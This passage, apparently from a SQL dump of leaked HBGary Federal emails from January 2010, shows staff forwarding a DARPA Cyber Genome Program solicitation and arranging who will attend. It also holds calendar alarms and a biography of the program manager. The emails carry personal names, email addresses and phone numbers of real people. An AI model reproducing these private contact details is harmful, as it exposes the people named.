produce revolutionary\r\n> cyber defense and investigatory technologies for the collection,\r\n> identification, characterization, and presentation of properties and\r\n> relationships from collected digital artifacts of software, data,\r\n> and/or users to support DoD law enforcement, counter intelligence, and\r\n> cyber defense teams. Digital artifacts may be collected from live\r\n> systems (traditional computers, personal digital assistants, and/or\r\n> distributed information systems such as ‘cloud computers\'), from wired\r\n> or wireless networks, or collected storage media. The format may\r\n> include electronic documents or software (to include malicious\r\n> software - malware). The Cyber Genome Program will encompass several\r\n> program phases and technical areas of interest. Each of the technical\r\n> areas will develop the cyber equivalent of fingerprints or DNA to\r\n> facilitate developing the digital equivalent of genotype, as well as\r\n> observed and inferred phenotype in order to determine the identity,\r\n> lineage, and provenance of digital artifacts and users.\r\n> \r\n> \r\n> REGISTRATION INFORMATION Participants must register for the CYBER\r\n> GENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January\r\n> 27, 2010, at the following website: http://safe.sysplan.com/sto/.\r\n> Attendance will be limited to a maximum of three individuals per\r\n> organization. The Proposers\' Day is intended for participants from\r\n> industry and academia; it is not intended for parties who are not\r\n> interested in bidding or participating on a bidding team, e.g. the\r\n> public or members of the press. Government attendees will be invited\r\n> separately. Organizations interested in participating in the program\r\n> who are not able to attend the Proposers\' Day, may still register on\r\n> the teaming website: http://www.davincinetbook.com/teams.\r\n> \r\n> \r\n> Attendance is restricted to U.S. Citizens only. Attendees are required\r\n> to submit a U.S. Citizenship Verification form in order to attend this\r\n> conference. The completed Citizenship Form must be emailed to:\r\n> DARPA-BAA-10-36@darpa.mil no later than 5:00 p.m. EST January 27,\r\n> 2010. The Citizenship Form is available for download at the\r\n> registration website. Attendees will be required to present government\r\n> issued photo identification upon entry to the event. Attendance is not\r\n> required to propose to any associated BAA.\r\n> \r\n> \r\n> Additionally, attendees who would like to present company overviews,\r\n> discuss their technology expertise, and/or discuss teaming\r\n> opportunities in scheduled presentations at the conference may request\r\n> to do so. Presentations may contain 5 slides and are limited to\r\n> fifteen (15) minutes each (including logistical issues). Proposers\r\n> desiring to reserve a time to present at the Proposers\' Day Conference\r\n> should contact DARPA-BAA-10-36@darpa.mil as soon as possible, but no\r\n> later than the registration cutoff date for the Proposers\' Day\r\n> Conference.\r\n> \r\n> \r\n> All material to be displayed at the conference must be approved in\r\n> advance by both the organization that funded the research and the\r\n> DARPA Program Manager. The DARPA Program Manager will screen the\r\n> proposed material for sensitive but unclassified material and approve\r\n> in advance any presentations. It is the presenter\'s responsibility to\r\n> ensure that all material they plan to present at the Proposers\' Day\r\n> Conference has been approved by the funding organization in advance.\r\n> \r\n> \r\n> After the conference, there will be an opportunity to meet\r\n> individually with Dr. Michael VanPutte, the Cyber Genome Program\r\n> Manager. Please contact Larry Blankenship at\r\n> larry.blankenship.ctr@darpa.mil to schedule an individual session.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Contracting Office Address:\r\n> 3701 North Fairfax Drive\r\n> Arlington, Virginia 22203-1714\r\n> Primary Point of Contact.:\r\n> BAA Coordinator,\r\n> BAA Coordinator\r\n> DARPA-BAA-10-36@darpa.mil\r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6296,'aaron_hbgary_com/6296.html'),(1457,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000413.M59103P3547Q1455.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: ARSTRAT Discussions @ Wed Feb 3 11am - 1pm 	(aaron@hbgary.com)','Ted Vera has accepted this invitation.ARSTRAT DiscussionsWhenWed Feb 3 11am – 1pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;ted@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',13843,'aaron_hbgary_com/13843.html'),(1458,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000413.M687674P3547Q1458.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Cyber Genome Program Proposers Day','Hi Greg,\r\n\r\nPlease take a look at the solicitation below, which just posted today.\r\n The proposers day is this Friday.  I\'ve asked if Rich or Phil could\r\nattend, but thought that given the topic you might want to be there in\r\nperson, especially if we decide to present.  Contractor presentations\r\nare limited to 5 slides / 15 mins.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Jan 25, 2010 at 7:24 PM\r\nSubject: Cyber Genome Program Proposers Day\r\nTo: Rich Cummings , Barr Aaron ,\r\nPhil Wallisch , Bob Slapnik \r\n\r\n\r\nHi Rich, Phil & Bob,\r\n\r\nAaron would like to attend, but has meetings scheduled with Senior VPs\r\nat NG and TASC.  Would either of you Rich, Phil or Bob be able to\r\nattend?\r\n\r\nTed\r\n\r\n\r\n\r\nCyber Genome Program Proposers\' Day\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=0efff97ec44aada63117f050bc43d86f&tab=core&_cview=0\r\n\r\nSynopsis:\r\nAdded: Jan 25, 2010 3:59 pm\r\nPROPOSERS\' DAY CONFERENCE\r\nDARPA will host a Proposers\' Day Workshop in support of\r\nDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the\r\nBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to\r\nprovide information on the CYBER GENOME PROGRAM; promote additional\r\ndiscussion on this topic; address questions from potential proposers;\r\nand provide a forum for potential proposers to present their\r\ncapabilities for teaming opportunities.\r\nA second Proposers\' Day Workshop will be held on February 8, 2010.\r\nLocation will be in the Arlington, Virginia area and will be announced\r\non the Proposers\' Day website (http://safe.sysplan.com/sto/).\r\n\r\n\r\nPROGRAM OBJECTIVE AND DESCRIPTION:\r\nThe objective of the Cyber Genome Program is to produce revolutionary\r\ncyber defense and investigatory technologies for the collection,\r\nidentification, characterization, and presentation of properties and\r\nrelationships from collected digital artifacts of software, data,\r\nand/or users to support DoD law enforcement, counter intelligence, and\r\ncyber defense teams. Digital artifacts may be collected from live\r\nsystems (traditional computers, personal digital assistants, and/or\r\ndistributed information systems such as ‘cloud computers\'), from wired\r\nor wireless networks, or collected storage media. The format may\r\ninclude electronic documents or software (to include malicious\r\nsoftware - malware). The Cyber Genome Program will encompass several\r\nprogram phases and technical areas of interest. Each of the technical\r\nareas will develop the cyber equivalent of fingerprints or DNA to\r\nfacilitate developing the digital equivalent of genotype, as well as\r\nobserved and inferred phenotype in order to determine the identity,\r\nlineage, and provenance of digital artifacts and users.\r\n\r\n\r\nREGISTRATION INFORMATION Participants must register for the CYBER\r\nGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January\r\n27, 2010, at the following website: http://safe.sysplan.com/sto/.\r\nAttendance will be limited to a maximum of three individuals per\r\norganization. The Proposers\' Day is intended for participants from\r\nindustry and academia; it is not intended for parties who are not\r\ninterested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press. Government attendees will be invited\r\nseparately. Organizations interested in participating in the program\r\nwho are not able to attend the Proposers\' Day, may still register on\r\nthe teaming website: http://www.davincinetbook.com/teams.\r\n\r\n\r\nAttendance is restricted to U.S. Citizens only. Attendees are required\r\nto submit a U.S. Citizenship Verification form in order to attend this\r\nconference. The completed Citizenship Form must be emailed to:\r\nDARPA-BAA-10-36@darpa.mil no later than 5:00 p.m. EST January 27,\r\n2010. The Citizenship Form is available for download at the\r\nregistration website. Attendees will be required to present government\r\nissued photo identification upon entry to the event. Attendance is not\r\nrequired to propose to any associated BAA.\r\n\r\n\r\nAdditionally, attendees who would like to present company overviews,\r\ndiscuss their technology expertise, and/or discuss teaming\r\nopportunities in scheduled presentations at the conference may request\r\nto do so. Presentations may contain 5 slides and are limited to\r\nfifteen (15) minutes each (including logistical issues). Proposers\r\ndesiring to reserve a time to present at the Proposers\' Day Conference\r\nshould contact DARPA-BAA-10-36@darpa.mil as soon as possible, but no\r\nlater than the registration cutoff date for the Proposers\' Day\r\nConference.\r\n\r\n\r\nAll material to be displayed at the conference must be approved in\r\nadvance by both the organization that funded the research and the\r\nDARPA Program Manager. The DARPA Program Manager will screen the\r\nproposed material for sensitive but unclassified material and approve\r\nin advance any presentations. It is the presenter\'s responsibility to\r\nensure that all material they plan to present at the Proposers\' Day\r\nConference has been approved by the funding organization in advance.\r\n\r\n\r\nAfter the conference, there will be an opportunity to meet\r\nindividually with Dr. Michael VanPutte, the Cyber Genome Program\r\nManager. Please contact Larry Blankenship at\r\nlarry.blankenship.ctr@darpa.mil to schedule an individual session.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nContracting Office Address:\r\n3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714\r\nPrimary Point of Contact.:\r\nBAA Coordinator,\r\nBAA Coordinator\r\nDARPA-BAA-10-36@darpa.mil\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',13324,'aaron_hbgary_com/13324.html'),(1459,'2010-01-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000413.M870913P3547Q1459.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Cyber Genome Program Proposers Day','Ted, Greg, Penny and Rich,\r\n \r\nCheck this out.  Ted sent out an email about DARPA&#39;s upcoming Cyber Genome Program Proposers&#39; Day.  Did they get this idea from us?  It looks like maybe DARPA will be awarding one or more contractors to develop a Cyber Genome.\r\n\r\n \r\nAccording to the info we can send up to 3 people and have to register by Jan 27.  Let&#39;s figure out what we want to do.\r\nSolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\nBob\r\n \r\nOn Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Rich, Phil &amp; Bob,Aaron would like to attend, but has meetings scheduled with Senior VPs\r\nat NG and TASC.  Would either of you Rich, Phil or Bob be able toattend?TedCyber Genome Program Proposers&#39; DaySolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\nSynopsis:Added: Jan 25, 2010 3:59 pmPROPOSERS&#39; DAY CONFERENCEDARPA will host a Proposers&#39; Day Workshop in support ofDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at theBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is toprovide information on the CYBER GENOME PROGRAM; promote additionaldiscussion on this topic; address questions from potential proposers;and provide a forum for potential proposers to present their\r\ncapabilities for teaming opportunities.A second Proposers&#39; Day Workshop will be held on February 8, 2010.Location will be in the Arlington, Virginia area and will be announcedon the Proposers&#39; Day website (http://safe.sysplan.com/sto/).\r\nPROGRAM OBJECTIVE AND DESCRIPTION:The objective of the Cyber Genome Program is to produce revolutionarycyber defense and investigatory technologies for the collection,identification, characterization, and presentation of properties and\r\nrelationships from collected digital artifacts of software, data,and/or users to support DoD law enforcement, counter intelligence, andcyber defense teams. Digital artifacts may be collected from livesystems (traditional computers, personal digital assistants, and/or\r\ndistributed information systems such as ‘cloud computers&#39;), from wiredor wireless networks, or collected storage media. The format mayinclude electronic documents or software (to include malicioussoftware - malware). The Cyber Genome Program will encompass several\r\nprogram phases and technical areas of interest. Each of the technicalareas will develop the cyber equivalent of fingerprints or DNA tofacilitate developing the digital equivalent of genotype, as well asobserved and inferred phenotype in order to determine the identity,\r\nlineage, and provenance of digital artifacts and users.REGISTRATION INFORMATION Participants must register for the CYBERGENOME PROGRAM Proposers&#39; Day no later than 5:00 p.m. EST on January27, 2010, at the following website: http://safe.sysplan.com/sto/.\r\nAttendance will be limited to a maximum of three individuals perorganization. The Proposers&#39; Day is intended for participants fromindustry and academia; it is not intended for parties who are notinterested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press. Government attendees will be invitedseparately. Organizations interested in participating in the programwho are not able to attend the Proposers&#39; Day, may still register onthe teaming website: http://www.davincinetbook.com/teams.\r\nAttendance is restricted to U.S. Citizens only. Attendees are requiredto submit a U.S. Citizenship Verification form in order to attend thisconference. The completed Citizenship Form must be emailed to:\r\nDARPA-BAA-10-36@darpa.mil no later than 5:00 p.m. EST January 27,2010. The Citizenship Form is available for download at theregistration website. Attendees will be required to present government\r\nissued photo identification upon entry to the event. Attendance is notrequired to propose to any associated BAA.Additionally, attendees who would like to present company overviews,discuss their technology expertise, and/or discuss teaming\r\nopportunities in scheduled presentations at the conference may requestto do so. Presentations may contain 5 slides and are limited tofifteen (15) minutes each (including logistical issues). Proposersdesiring to reserve a time to present at the Proposers&#39; Day Conference\r\nshould contact DARPA-BAA-10-36@darpa.mil as soon as possible, but nolater than the registration cutoff date for the Proposers&#39; DayConference.All material to be displayed at the conference must be approved in\r\nadvance by both the organization that funded the research and theDARPA Program Manager. The DARPA Program Manager will screen theproposed material for sensitive but unclassified material and approvein advance any presentations. It is the presenter&#39;s responsibility to\r\nensure that all material they plan to present at the Proposers&#39; DayConference has been approved by the funding organization in advance.After the conference, there will be an opportunity to meetindividually with Dr. Michael VanPutte, the Cyber Genome Program\r\nManager. Please contact Larry Blankenship atlarry.blankenship.ctr@darpa.mil to schedule an individual session.Contracting Office Address:\r\n3701 North Fairfax DriveArlington, Virginia 22203-1714Primary Point of Contact.:BAA Coordinator,BAA CoordinatorDARPA-BAA-10-36@darpa.mil\r\n--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',12546,'aaron_hbgary_com/12546.html'),(1460,'2010-01-26','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297000414.M251223P3547Q1461.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - AF Cybersecurity Conference','January 10, 2010 : AF Cybersecurity Conference \r\n',11177,'aaron_hbgary_com/11177.html'),(1461,'2010-01-26','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297000414.M543406P3547Q1462.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Mantech - Alex (Lunch)','January 6, 2010 10:30 AM : Mantech - Alex (Lunch) \r\n',11665,'aaron_hbgary_com/11665.html'),(1462,'2010-01-26','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000414.M57183P3547Q1460.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Cyber Genome Program Proposers Day','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob, Penny, Greg, Phil,\r\n\r\n&nbsp;\r\n\r\nI called &nbsp;and spoke with Ted and Aaron right after reading this\r\nas I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to go.&nbsp; Greg are\r\nyou interested in going?&nbsp; I&#8217;m putting together a presentation which I&#8217;ll send\r\nover for review.&nbsp; Any input is welcome.\r\n\r\n&nbsp;\r\n\r\nAre these guys reading our email? ;P\r\n\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, January 25, 2010 10:13 PM\r\nTo: Ted Vera; Penny C. Hoglund; Greg Hoglund\r\nCc: Rich Cummings; Barr Aaron; Phil Wallisch\r\nSubject: Re: Cyber Genome Program Proposers Day\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTed, Greg, Penny and Rich,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCheck this out.&nbsp; Ted sent out an email about DARPA\'s\r\nupcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from\r\nus?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to\r\ndevelop a Cyber Genome.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAccording to the info we can send up to 3 people and have to\r\nregister by Jan 27.&nbsp; Let\'s figure out what we want to do.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nHi Rich, Phil &amp; Bob,\r\n\r\nAaron would like to attend, but has meetings scheduled with Senior VPs\r\nat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able to\r\nattend?\r\n\r\nTed\r\n\r\n\r\n\r\nCyber Genome Program Proposers\' Day\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\n\r\nSynopsis:\r\nAdded: Jan 25, 2010 3:59 pm\r\nPROPOSERS\' DAY CONFERENCE\r\nDARPA will host a Proposers\' Day Workshop in support of\r\nDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the\r\nBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to\r\nprovide information on the CYBER GENOME PROGRAM; promote additional\r\ndiscussion on this topic; address questions from potential proposers;\r\nand provide a forum for potential proposers to present their\r\ncapabilities for teaming opportunities.\r\nA second Proposers\' Day Workshop will be held on February 8, 2010.\r\nLocation will be in the Arlington, Virginia area and will be announced\r\non the Proposers\' Day website (http://safe.sysplan.com/sto/).\r\n\r\n\r\nPROGRAM OBJECTIVE AND DESCRIPTION:\r\nThe objective of the Cyber Genome Program is to produce revolutionary\r\ncyber defense and investigatory technologies for the collection,\r\nidentification, characterization, and presentation of properties and\r\nrelationships from collected digital artifacts of software, data,\r\nand/or users to support DoD law enforcement, counter intelligence, and\r\ncyber defense teams. Digital artifacts may be collected from live\r\nsystems (traditional computers, personal digital assistants, and/or\r\ndistributed information systems such as &#8216;cloud computers\'), from wired\r\nor wireless networks, or collected storage media. The format may\r\ninclude electronic documents or software (to include malicious\r\nsoftware - malware). The Cyber Genome Program will encompass several\r\nprogram phases and technical areas of interest. Each of the technical\r\nareas will develop the cyber equivalent of fingerprints or DNA to\r\nfacilitate developing the digital equivalent of genotype, as well as\r\nobserved and inferred phenotype in order to determine the identity,\r\nlineage, and provenance of digital artifacts and users.\r\n\r\n\r\nREGISTRATION INFORMATION Participants must register for the CYBER\r\nGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January\r\n27, 2010, at the following website: http://safe.sysplan.com/sto/.\r\nAttendance will be limited to a maximum of three individuals per\r\norganization. The Proposers\' Day is intended for participants from\r\nindustry and academia; it is not intended for parties who are not\r\ninterested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press. Government attendees will be invited\r\nseparately. Organizations interested in participating in the program\r\nwho are not able to attend the Proposers\' Day, may still register on\r\nthe teaming website: http://www.davincinetbook.com/teams.\r\n\r\n\r\nAttendance is restricted to U.S. Citizens only. Attendees are required\r\nto submit a U.S. Citizenship Verification form in order to attend this\r\nconference. The completed Citizenship Form must be emailed to:\r\nDARPA-BAA-10-36@darpa.mil no\r\nlater than 5:00 p.m. EST January 27,\r\n2010. The Citizenship Form is available for download at the\r\nregistration website. Attendees will be required to present government\r\nissued photo identification upon entry to the event. Attendance is not\r\nrequired to propose to any associated BAA.\r\n\r\n\r\nAdditionally, attendees who would like to present company overviews,\r\ndiscuss their technology expertise, and/or discuss teaming\r\nopportunities in scheduled presentations at the conference may request\r\nto do so. Presentations may contain 5 slides and are limited to\r\nfifteen (15) minutes each (including logistical issues). Proposers\r\ndesiring to reserve a time to present at the Proposers\' Day Conference\r\nshould contact DARPA-BAA-10-36@darpa.mil\r\nas soon as possible, but no\r\nlater than the registration cutoff date for the Proposers\' Day\r\nConference.\r\n\r\n\r\nAll material to be displayed at the conference must be approved in\r\nadvance by both the organization that funded the research and the\r\nDARPA Program Manager. The DARPA Program Manager will screen the\r\nproposed material for sensitive but unclassified material and approve\r\nin advance any presentations. It is the presenter\'s responsibility to\r\nensure that all material they plan to present at the Proposers\' Day\r\nConference has been approved by the funding organization in advance.\r\n\r\n\r\nAfter the conference, there will be an opportunity to meet\r\nindividually with Dr. Michael VanPutte, the Cyber Genome Program\r\nManager. Please contact Larry Blankenship at\r\nlarry.blankenship.ctr@darpa.mil\r\nto schedule an individual session.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nContracting Office Address:\r\n3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714\r\nPrimary Point of Contact.:\r\nBAA Coordinator,\r\nBAA Coordinator\r\nDARPA-BAA-10-36@darpa.mil\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12781,'aaron_hbgary_com/12781.html'),(1463,'2010-01-26','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297000414.M723005P3547Q1463.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Breakfast at Panjshir II','January 6, 2010 11:30 AM : Breakfast at Panjshir IIPanjshir II Restaurant224 Maple Avenue WestVienna, VA 22180-5605(703) 281-4183Link: &lt;http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=panjshir&amp;sll=38.901222,-77.26526&amp;sspn=0.040345,0.068665&amp;g=vienna,+va&amp;ie=UTF8&amp;hq=panjshir&amp;hnear=Vienna,+VA&amp;ll=38.90132,-77.265301&amp;spn=0.040345,0.068665&amp;z=14&amp;iwloc=A&amp;cid=6048369307564912943&gt; ',16131,'aaron_hbgary_com/16131.html'),(1464,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000414.M898292P3547Q1464.eml','\"Barr Aaron\" <aaron@hbgary.com>','DARPA PM','Dr. Michael (Mike) VanPutte, Ph.D., CISSP\r\n\r\nDr. VanPutte joined DARPA in 2006 as a Program Manager in the\r\nStrategic Technology Office. Dr. VanPutte\'s interests lie primarily in\r\nthe areas of information assurance and computer network operations,\r\nsecure computing, artificial intelligence, and multi-agent systems. He\r\nis also interested in military combat diving and technical diving\r\ntechnologies.\r\nDr. VanPutte retired from the Army after twenty years of service in\r\nSeptember 2008; he served 7 years as a combat engineer officer and 13\r\nyears as a computer systems engineer. From 2004 to 2006, Dr. VanPutte\r\nwas the Deputy Director of Operations and Chief, Strategic Defense\r\nOperations at the Joint Task Force - Global Network Operations, U.S.\r\nStrategic Command, responsible for improving the strategic posture and\r\nresponding to cyber intrusions in DoD networks. From 2002 to 2004, he\r\nwas the Chief, Technical Analysis Branch, responsible for the analysis\r\nof new threats and counter measures to DoD networks. From 1997 to\r\n1999, Dr. VanPutte was the Chief, Knowledge Engineering Group, at the\r\nArmy War College, where he developed state of the art computer models,\r\nsimulations and decision support tools to support strategic wargames,\r\nseminars, strategic decision making processes, education programs, and\r\nadministrative systems. He was also the primary investigator on an\r\nintelligent agent system to simulate the monitoring of national\r\ncritical infrastructures to detect, analyze, identify, and correlate\r\ninformation and provide warnings of information-based warfare attacks.\r\nDr. VanPutte received a BS in Management Information Systems from The\r\nOhio State University, an MS in Computer Science from the University\r\nof Missouri, Columbia, and a Ph.D. in Computer Science from the Naval\r\nPostgraduate School.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',8020,'aaron_hbgary_com/8020.html'),(1465,'2010-01-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000415.M100516P3547Q1465.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,','Re: Cyber Genome Program Proposers Day','HBGary can send up to 3 and HBGary Federal can send up to 3 (as they are separate companies).\r\n \r\nI&#39;d love to attend the industry day given my legacy of writing successful propsoals for HBGary.   It will be very satisfying to be with a winning team working together.\r\n \r\nAnd yes, Greg should be there.\r\n \r\n \r\nOn Mon, Jan 25, 2010 at 10:18 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBob, Penny, Greg, Phil,\r\n \r\nI called  and spoke with Ted and Aaron right after reading this as I was thinking WTF?   Right now Aaron and I are planning to go.  Greg are you interested in going?  I’m putting together a presentation which I’ll send over for review.  Any input is welcome.\r\n\r\n \r\nAre these guys reading our email? ;P\r\nRich\r\n \r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] Sent: Monday, January 25, 2010 10:13 PM\r\nTo: Ted Vera; Penny C. Hoglund; Greg HoglundCc: Rich Cummings; Barr Aaron; Phil WallischSubject: Re: Cyber Genome Program Proposers Day\r\n\r\n\r\n\r\n \r\n\r\nTed, Greg, Penny and Rich,\r\n\r\n \r\n\r\nCheck this out.  Ted sent out an email about DARPA&#39;s upcoming Cyber Genome Program Proposers&#39; Day.  Did they get this idea from us?  It looks like maybe DARPA will be awarding one or more contractors to develop a Cyber Genome.\r\n\r\n\r\n \r\n\r\nAccording to the info we can send up to 3 people and have to register by Jan 27.  Let&#39;s figure out what we want to do.\r\n\r\nSolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\nBob\r\n\r\n \r\n\r\nOn Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Rich, Phil &amp; Bob,Aaron would like to attend, but has meetings scheduled with Senior VPsat NG and TASC.  Would either of you Rich, Phil or Bob be able toattend?Ted\r\nCyber Genome Program Proposers&#39; DaySolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Office\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\nSynopsis:Added: Jan 25, 2010 3:59 pmPROPOSERS&#39; DAY CONFERENCEDARPA will host a Proposers&#39; Day Workshop in support ofDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at theBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is toprovide information on the CYBER GENOME PROGRAM; promote additionaldiscussion on this topic; address questions from potential proposers;and provide a forum for potential proposers to present their\r\ncapabilities for teaming opportunities.A second Proposers&#39; Day Workshop will be held on February 8, 2010.Location will be in the Arlington, Virginia area and will be announcedon the Proposers&#39; Day website (http://safe.sysplan.com/sto/).\r\nPROGRAM OBJECTIVE AND DESCRIPTION:The objective of the Cyber Genome Program is to produce revolutionarycyber defense and investigatory technologies for the collection,identification, characterization, and presentation of properties and\r\nrelationships from collected digital artifacts of software, data,and/or users to support DoD law enforcement, counter intelligence, andcyber defense teams. Digital artifacts may be collected from livesystems (traditional computers, personal digital assistants, and/or\r\ndistributed information systems such as ‘cloud computers&#39;), from wiredor wireless networks, or collected storage media. The format mayinclude electronic documents or software (to include malicioussoftware - malware). The Cyber Genome Program will encompass several\r\nprogram phases and technical areas of interest. Each of the technicalareas will develop the cyber equivalent of fingerprints or DNA tofacilitate developing the digital equivalent of genotype, as well asobserved and inferred phenotype in order to determine the identity,\r\nlineage, and provenance of digital artifacts and users.REGISTRATION INFORMATION Participants must register for the CYBERGENOME PROGRAM Proposers&#39; Day no later than 5:00 p.m. EST on January27, 2010, at the following website: http://safe.sysplan.com/sto/.\r\nAttendance will be limited to a maximum of three individuals perorganization. The Proposers&#39; Day is intended for participants fromindustry 